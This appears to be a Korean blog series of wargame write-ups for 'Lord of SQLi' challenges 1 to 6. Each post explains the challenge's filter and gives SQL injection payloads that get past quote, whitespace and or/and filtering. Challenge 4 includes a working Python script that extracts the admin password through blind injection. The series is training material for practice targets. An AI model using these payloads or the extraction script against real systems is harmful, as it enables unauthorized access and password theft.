6번문제의 php코드

1. 문제풀이

 

1) 코드 해석

  • 이번문제는  다음코드에서 보여지듯이 or,and 문자가 필터링이 되어있다

if(preg_match('/or|and/i'$_GET[pw])) exit("HeHe");

  • 하지만 위 필터링 외에는 별다른 특징이없고 admin계정으로 접속만 하면 문제가 풀리는 방식이다

2) 문제풀이

  • 문제풀이는 생각보다 간단하다 원래 자주쓰는 우회방법인 ' or id='admin 공격구문에서 or만 우회하여 공격한다
  • or,and 문자를 우회하는 방법은 다음과 같다

or = ||

and = &&

  • 공격 시 삽입 구문: 'pw=' || id='admin
  • 공격 후 구문: https://los.rubiya.kr/chall/darkelf_c6a5ed64c4f6a7a5595c24977376136b.php?pw=%27%20||%20id=%27admin
  • 공격을 수행하면 결과적으로 SQL쿼리문에 다음과 같이 공격 시 삽입 구문이 대입되므로 공격이 성공한다.

select id from prob_darkelf where id='guest' and pw='' || id='admin'

 

공격 성공화면

'Lord of SQLi | WebHacking.kr' 카테고리의 다른 글

Lord of SQLi(#8 troll)  (0) 2022.12.30
Lord if SQLi(#7 orge)  (0) 2022.12.30
Lord of SQLi(#5 wolfman)  (0) 2022.12.28
Lord of SQLi(#4 orc)  (0) 2022.12.28
Lord of SQLi(#3 goblin)  (0) 2022.12.28

5번문제의 php코드

1.문제풀이

 

1) 코드 해석

  • 다음 코드를 보면 이번문제에서는 공백(스페이스바)이 필터링 되어있는것을 볼 수 있다

if(preg_match('/ /i'$_GET[pw])) exit("No whitespace ~_~"); 

  • 공백 필터링만 우회해서 admin계정으로 접속하면 역시 풀리는 문제이다

 

2) 문제풀이

  • 먼저 admin계정을 가져오기 위해서는 pw=' 문구로 다음과 같이 첫번째 쿼리문을 닫아준다

select id from prob_wolfman where id='guest' and pw=''

  • 그 뒤에 or id='admin 문구로 admin계정으로 접속 할 수 있게 한다
  • 따라서 pw=' or id='admin 문구를 대입하여 다음과 같이 쿼리문에 삽입시키면 공격이 성공한다
  • select id from prob_wolfman where id='guest' and pw='' or id='admin'
  • 하지만 or 양쪽으로 공백이 있으므로 필터링 우회를 해서 공격해야한다
  • 공백 필터링 우회방법에는 여러가지가 있는데 이 중에 골라서 쓰면 된다 

Tab : %09

\n : %0a

\r : %0d

주석 : /**/

  • 공격 시 삽입 구문: pw='%0aor%0aid='admin
  • 공격 후 구문: https://los.rubiya.kr/chall/wolfman_4fdc56b75971e41981e3d1e2fbe9b7f7.php?pw=%27%0aor%0aid=%27admin 

공격 성공 화면

 

'Lord of SQLi | WebHacking.kr' 카테고리의 다른 글

Lord if SQLi(#7 orge)  (0) 2022.12.30
Lord of SQLi(#6 darkelf)  (0) 2022.12.30
Lord of SQLi(#4 orc)  (0) 2022.12.28
Lord of SQLi(#3 goblin)  (0) 2022.12.28
Lord of SQLi(#2 cobolt)  (1) 2022.12.28

4번문제의 php코드

1.문제풀이

 

1) 코드해석

  • 이번문제에서는 여태까지와는 다르게 단순히 admin계정으로 접속했다고 풀리는 문제가 아니다
  • 다음 코드와 같이 admin의 실제 비밀번호를 탈취해서 접속해야 풀리는 문제다

if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");

  • 따라서 이번 문제는 Blind SQLi문제로 자동화 도구를 이용해서 문제를 풀어보겠다

 

2) 문제풀이

2-1 비밀번호 길이를 알아내는 python 코드

import requests
url = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php' #url 주소를 입력
cookies = {'PHPSESSID': 'cookie'} #세션 쿠키를 입력
def find_pw_len():
    pw_len = 0
    while 1:
        pw_len=pw_len+1
        value = "' or id='admin' and length(pw) = {}   -- '".format(pw_len) #반복하면서 pw의 글자수를 비교하는 Payload 코드 작성
        params = {"pw": value} # pw에 Payload 코드 삽입 
        response = requests.get(url,params=params, cookies=cookies) #GET을 통해 전달
        print(response.status_code) # 응답 코드 확인 200번아니면 오류 상태
        print(value) # 전달되는 Payload 코드 확인
        if "Hello admin" in response.text: 
            break
    return pw_len #id 길이 반환
if __name__ == '__main__':
    print("pw의 길이는 : "+str(find_pw_len()))

공격 결과 화면

 

  • 비밀번호의 길이를 알아냈으므로 이젠 실제 비밀번호를 자동화도구를 통해서 알아내도록 하겠다

 

2-2 실제 비밀번호를 알아내는 python코드

import requests
url = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php' #url 주소를 입력
cookies = {'PHPSESSID': 'cookie'} #세션 쿠키를 입력
def find_pw_len():
    pw_len = 0
    while 1:
        pw_len=pw_len+1
        value = "' or id = 'admin' and length(pw) = {}   -- '".format(pw_len) #반복하면서 pw의 글자수를 비교하는 Payload 코드 작성
        params = {'pw': value} # pw에 Payload 코드 삽입
        response = requests.get(url,params=params, cookies=cookies) #GET을 통해 전달
        print(response.status_code) # 응답 코드 확인 200번아니면 오류 상태
        print(value) # 전달되는 Payload 코드 확인
        if "Hello admin" in response.text: 
            break
    return pw_len #id 길이 반환
def find_pw_str(pw_len):
    pw_str = ""
    for len in range(1,pw_len+1):
        for ascii in range(0,127): #ascii a~z까지의 값 반복
            value = "' or ascii(substring(pw,{},1)) = {} -- '".format(len,ascii)  # 반복하면서 pw을 substring 한다음 ascii로 변환한 값을 통해 비교해서 정답을 찾아냄
            params = {'pw': value}  # pw에 Payload 코드 삽입
            response = requests.get(url, params=params, cookies=cookies)  # GET을 통해 전달
            print(response.status_code)  # 응답 코드 확인 200번아니면 오류 상태
            print(value)  # 전달되는 Payload 코드 확인
            if "Hello admin" in response.text: 
                pw_str+=chr(ascii)+":" #참이라면 ascii코드를 char형으로 변경해서 저장
        pw_str+="\n"
    return pw_str #한 문자에 대한 검색이 끝날시 엔터 처리
if __name__ == '__main__':
    print("비밀번호 조합 : \n"+find_pw_str(find_pw_len()))

공격 결과 화면

  • 자동화 도구를 통해 우리는admin계정의 비밀번호가 095a9852 인것을 알 수 있다
  • 실제로 파라미터에 대입해보면 접속이 성공한다
  • 공격 시 삽입 구문: id=admin&pw=095a9852
  • 공격 후 구문: https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?id=admin&pw=095a9852 
  • 공격을 수행하면 결과적으로 SQL쿼리문에 다음과 같이 공격 시 삽입 구문이 대입되므로 공격이 성공한다.

select id from prob_orc where id='admin' and pw='095a9852'

 

공격 성공 화면

'Lord of SQLi | WebHacking.kr' 카테고리의 다른 글

Lord of SQLi(#6 darkelf)  (0) 2022.12.30
Lord of SQLi(#5 wolfman)  (0) 2022.12.28
Lord of SQLi(#3 goblin)  (0) 2022.12.28
Lord of SQLi(#2 cobolt)  (1) 2022.12.28
Lord of SQLi(#1 gremlin)  (0) 2022.12.28

3번문제의 php코드

1.문제풀이

 

1) 코드해석

  • 이번문제는 약간의 필터링이 걸려있다는것을 다음 코드에서 알 수 있다

 if(preg_match('/\'|\"|\`/i'$_GET[no])) exit("No Quotes ~_~");

  • 위에 보이는것과 같이 우리가 공격할 때 필요한 싱글쿼터('), 더블쿼터(")가 필터링이 걸려있는것을 볼 수 있다.
  • 또 이번문제에서는 SQL쿼리문에 id='guest'로 고정되어있고 그뒤에 no={$_GET[no]}값으로 검증한다
  • 이번에도 2번문제와 같이 admin계정으로 접속해야 문제가 풀리는 방식이다

 

2) 문제풀이

select id from prob_goblin where id='guest' and no={$_GET[no]}

  • 우리는 guest의 no값을 알 수 없으므로 위 SQL쿼리문에서 노란색으로 칠해진 부분부터 참이되게 만들어야한다
  • 먼저 no=no라고 대입하여 말 그대로 참이되게 만든결과 guest로 접속한것을 볼 수 있다

guest접속 성공 화면

  • 하지만 문제는 admin으로 접속해야 한다는 것이다
  • 그렇다면 no=2 or id='admin'으로 공격을 시도해본다
  • no=2라는 값을 준 이유는 위 구문을 SQL쿼리문에 대입하면 select id from prob_goblin where id='guest' and no=2 or id='admin'
  • 위 파란색부분이 거짓이되고 id='admin'이라는 부분이 참이되므로 admin으로 접속할 수 있기 때문이다.
  • 하지만 이번 문제에서는 쿼터가 필터링 되어있으므로 다른방법을 찾아야한다.
  • 여러 방법중 하나로 admin이라는 문자를 16진수(Hex)로 입력하는 스트링 우회법이 있다
  • 인터넷에 검색해본 결과 admin은 0x61646d696e로 변환된다
  • 따라서 admin대신 변환문자를 이용해 공격하면 된다
  • 공격시 삽입 구문: no=2 or id=0x61646d696e
  • 공격 후 구문: https://los.rubiya.kr/chall/goblin_e5afb87a6716708e3af46a849517afdc.php?no=2%20or%20id=0x61646d696e 
  • 공격을 수행하면 결과적으로 SQL쿼리문에 다음과 같이 공격 시 삽입 구문이 대입되므로 공격이 성공한다.
  • select id from prob_goblin where id='guest' and no=2 or id=0x61646d696e

 

공격 성공 화면

'Lord of SQLi | WebHacking.kr' 카테고리의 다른 글

Lord of SQLi(#6 darkelf)  (0) 2022.12.30
Lord of SQLi(#5 wolfman)  (0) 2022.12.28
Lord of SQLi(#4 orc)  (0) 2022.12.28
Lord of SQLi(#2 cobolt)  (1) 2022.12.28
Lord of SQLi(#1 gremlin)  (0) 2022.12.28

2번문제의 php코드

1.문제풀이

 

1) 코드 해석

  • 이전에 풀었던 1번(gremlin)문제와 차이점이 거의 없다
  • 유일한 차이점은 다음구문에서 보듯이  pw를 md5라는 해시값으로 저장해서 데이터를 가져온다는 것이다

select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')

  • 또 이 문제를 풀기 위해서는 다음 코드와 같이 id가 admin이라는 계정으로 접속하기만 하면  풀리는 문제이다

if($result['id'] == 'admin'solve("cobolt");

 

2) 문제풀이

select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')

  • 이번엔 위 구문의 노란색으로 칠해진 부분에 admin이라는 값을 대입한다
  • 그 뒤에 pw~~부분은  #주석으로 비밀번호를 검증하지 않게 처리해주겠다
  • 공격 시 삽입 구문: admin'# // 주석인 #은 URL 인코딩때문에 읽을 수 없기 때문에  %23으로 바꿔서 대입한다
  • 공격 후 구문: https://los.rubiya.kr/chall/cobolt_b876ab5595253427d3bc34f1cd8f30db.php?id=admin'%23
  • 공격을 수행하면 결과적으로 SQL쿼리문에 다음과 같이 공격 시 삽입 구문이 대입되므로 공격이 성공한다.

select id from prob_cobolt where id='admin'#' and pw=md5('')

  • admin이라는 id를 검증한 뒤 pw는 주석처리로 검증하지않고 바로 넘어가는 쿼리를 삽입한 것이다.

 

공격 성공 화면

'Lord of SQLi | WebHacking.kr' 카테고리의 다른 글

Lord of SQLi(#6 darkelf)  (0) 2022.12.30
Lord of SQLi(#5 wolfman)  (0) 2022.12.28
Lord of SQLi(#4 orc)  (0) 2022.12.28
Lord of SQLi(#3 goblin)  (0) 2022.12.28
Lord of SQLi(#1 gremlin)  (0) 2022.12.28

1번문제의 php코드

1. 문제풀이

 

1) 코드 해석

  • 위의 코드를 바탕으로 우리한테 필요한 부분만 해석하여 풀이하면 된다
  • SQLi에서 가장 필요한 부분은 SQL쿼리가 들어간 구문을 보고 어떤방식으로 데이터를 가져오는지 생각해야한다
  • 이번 문제에서 SQL쿼리에 해당하는 부분은 다음 과 같다

  select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'

  • 위의 SQL구문만 참이 되도록 만들어주면 1번문제라서 그런지 쉽게 해결할수 있다.

 

2) 문제 풀이

select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'

  • 이번 문제에서는 위구문의 노란색으로 칠해진 부분이 참이되게 만들어주면 된다.
  • 공격 시 삽입 구문:' or 1=1#  // 주석인 #은 URL 인코딩때문에 읽을 수 없기 때문에  %23으로 바꿔서 대입한다
  • 공격 후 구문: https://los.rubiya.kr/chall/gremlin_280c5552de8b681110e9287421b834fd.php?id=' or 1=1%23 
  • 공격을 수행하면 결과적으로 SQL쿼리문에 다음과 같이 공격 시 삽입 구문이 대입되므로 공격이 성공한다.

select id from prob_gremlin where id='' or 1=1#' and pw=''

 

공격 성공 화면

'Lord of SQLi | WebHacking.kr' 카테고리의 다른 글

Lord of SQLi(#6 darkelf)  (0) 2022.12.30
Lord of SQLi(#5 wolfman)  (0) 2022.12.28
Lord of SQLi(#4 orc)  (0) 2022.12.28
Lord of SQLi(#3 goblin)  (0) 2022.12.28
Lord of SQLi(#2 cobolt)  (1) 2022.12.28

+ Recent posts